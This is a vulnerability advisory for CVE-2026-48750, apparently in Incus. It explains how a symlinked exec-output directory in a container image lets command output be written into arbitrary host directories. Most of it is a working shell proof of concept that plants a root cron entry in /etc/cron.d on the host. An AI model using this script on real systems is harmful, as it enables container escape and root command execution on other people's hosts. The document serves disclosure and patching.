CVE-2026-48750

Summary

The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.

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Details

When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.

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PoC

Below, we place the exec_UUID.stdout file in /etc/cron.d on

the host for arbitrary command execution.

#!/bin/sh
## usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
        printf '%s' "${@}" >&2
        exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

## insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output

## Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;

Impact

Constrained file creation in an arbitrary directory on the host via

via an unsanitized symlink; possibly leading to command execution.